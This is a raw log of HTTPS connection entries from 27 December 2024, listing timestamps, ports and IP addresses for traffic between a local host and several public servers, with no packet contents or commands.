Dec 27, 2024 08:20:41.153039932 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.156543016 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.156611919 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.156618118 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.156641960 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.156687021 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.164165974 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.181773901 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.181862116 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.181914091 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.181926012 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.181977987 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.186289072 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.199012041 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.199091911 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.199107885 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.210720062 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.210783005 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.210797071 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.222374916 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.222465038 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.222486019 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.222498894 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.222543001 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.223635912 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.235435009 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.235492945 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.235502958 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.238149881 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.238221884 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.238230944 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.240675926 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.240745068 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.240755081 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.245914936 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.246103048 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.246112108 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.250427961 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.250529051 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.250538111 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.271048069 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.271111012 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.271125078 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.274254084 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.274358034 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.274369001 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.275578022 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.275635958 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.275644064 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.278234959 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.278333902 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.278342962 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.283936977 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.283996105 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.284008026 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.320919991 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.321038961 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.321057081 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.321799040 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.322073936 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.322083950 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.325687885 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.325741053 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.325751066 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.327722073 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.327786922 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.327797890 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.327912092 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.328085899 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.328095913 CET	443	49817	142.250.181.65	192.168.2.5
Dec 27, 2024 08:20:41.328123093 CET	49817	443	192.168.2.5	142.250.181.65
Dec 27, 2024 08:20:41.396446943 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.396739006 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.396748066 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.397078991 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.398140907 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.398214102 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.398585081 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.443332911 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.472393036 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.472497940 CET	443	49834	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.472582102 CET	49834	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.487263918 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:41.487746954 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:41.487755060 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:41.488086939 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:41.489317894 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:41.489413977 CET	443	49837	162.159.61.3	192.168.2.5
Dec 27, 2024 08:20:41.490134954 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.490334034 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.490375996 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.490799904 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.492023945 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.492127895 CET	443	49836	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.532743931 CET	49837	443	192.168.2.5	162.159.61.3
Dec 27, 2024 08:20:41.610362053 CET	49836	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.627608061 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.627743006 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.628254890 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.628264904 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.630669117 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.630676031 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.630742073 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.630753040 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.630801916 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.630808115 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.630894899 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.630906105 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.630918026 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.630928040 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.630990028 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.631004095 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.631091118 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.669456005 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.669581890 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.669761896 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.669786930 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.669892073 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.669899940 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.670355082 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.670872927 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.670927048 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.670949936 CET	443	49841	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.670996904 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.671478033 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.671549082 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.714540958 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.714550018 CET	443	49842	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.733619928 CET	49841	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.747509003 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.747816086 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.747833967 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.748178005 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.748511076 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.748586893 CET	443	49844	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.751267910 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.751501083 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.751512051 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.755052090 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.755141020 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.755820990 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.756068945 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.792151928 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.792418957 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.792443037 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.794058084 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.794154882 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.794483900 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.794589996 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.796226025 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.796442986 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.796459913 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.800106049 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.800196886 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.800781965 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.800967932 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.905723095 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.905812025 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.905900955 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.906810999 CET	49842	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.906836033 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.906836033 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.906862020 CET	443	49847	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.906893015 CET	443	49845	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.907232046 CET	49819	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:41.907274961 CET	443	49819	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:41.922142982 CET	49844	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.922324896 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.922333956 CET	443	49846	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.007766962 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:42.007810116 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:42.007967949 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:42.009673119 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:42.009684086 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:42.011333942 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:42.011385918 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:42.011645079 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:42.017631054 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:42.017656088 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:42.033473015 CET	49846	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.036442995 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.037833929 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.037851095 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.041450977 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.041565895 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.042073011 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.042249918 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.110675097 CET	49847	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.111044884 CET	49845	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.233021021 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.233040094 CET	443	49848	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.284817934 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:42.284826994 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:42.284904003 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:42.285190105 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:42.285201073 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:42.359905958 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:42.359992981 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:42.360512972 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:42.360894918 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:42.360907078 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:42.426405907 CET	49848	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.706706047 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:42.706720114 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:42.706787109 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:42.707847118 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:42.707859039 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:42.979835033 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:42.979917049 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:42.980143070 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:42.980798960 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:42.980832100 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:43.170423985 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.170495033 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.170557976 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.171462059 CET	49838	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.171478033 CET	443	49838	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.312843084 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:43.313508987 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:43.313523054 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:43.314994097 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:43.315052032 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:43.317152977 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:43.317240953 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:43.363409042 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:43.363421917 CET	443	49861	23.44.201.11	192.168.2.5
Dec 27, 2024 08:20:43.408874989 CET	49861	443	192.168.2.5	23.44.201.11
Dec 27, 2024 08:20:43.447007895 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.447062969 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.447160959 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.447410107 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.447427988 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.596000910 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:43.596467972 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:43.596499920 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:43.598035097 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:43.598217964 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:43.599922895 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:43.600052118 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:43.673495054 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:43.675446033 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:43.675462008 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:43.676512003 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:43.676579952 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:43.677126884 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:43.677392006 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:43.705652952 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:43.705682993 CET	443	49862	20.110.205.119	192.168.2.5
Dec 27, 2024 08:20:43.720593929 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:43.720609903 CET	443	49866	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:43.743376970 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.743664980 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.744201899 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.744220018 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746299982 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746309042 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746334076 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746352911 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746395111 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746409893 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746432066 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746432066 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746440887 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746455908 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746468067 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746474028 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746586084 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746601105 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746615887 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746615887 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746625900 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746642113 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746757030 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746771097 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746793985 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746818066 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.746820927 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.746829033 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747548103 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747565985 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747684002 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747698069 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747741938 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747756958 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747829914 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747844934 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747855902 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747868061 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747935057 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747950077 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.747956038 CET	49865	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:43.747960091 CET	443	49865	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:43.767021894 CET	49866	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:43.813569069 CET	49862	443	192.168.2.5	20.110.205.119
Dec 27, 2024 08:20:43.931433916 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:43.931747913 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:43.931759119 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:43.932826042 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:43.932904959 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:43.934286118 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:43.934376955 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:43.983237982 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:43.983252048 CET	443	49870	23.44.201.28	192.168.2.5
Dec 27, 2024 08:20:44.029542923 CET	49870	443	192.168.2.5	23.44.201.28
Dec 27, 2024 08:20:44.452960968 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:44.453334093 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:44.453382015 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:44.455034971 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:44.455113888 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:44.456484079 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:44.456600904 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:44.502572060 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:44.502620935 CET	443	49873	18.238.49.124	192.168.2.5
Dec 27, 2024 08:20:44.548223972 CET	49873	443	192.168.2.5	18.238.49.124
Dec 27, 2024 08:20:44.876821041 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.877109051 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.879220963 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.879225969 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.882324934 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.882325888 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.882337093 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.882348061 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.882535934 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.882555962 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.882709026 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.882774115 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883032084 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883057117 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883073092 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883083105 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883240938 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883253098 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883280039 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883287907 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883310080 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883339882 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883342981 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883364916 CET	443	49875	188.245.216.205	192.168.2.5
Dec 27, 2024 08:20:44.883404016 CET	49875	443	192.168.2.5	188.245.216.205
Dec 27, 2024 08:20:44.883425951 CET	443	49875	188.245.216.205	192.168.2.5
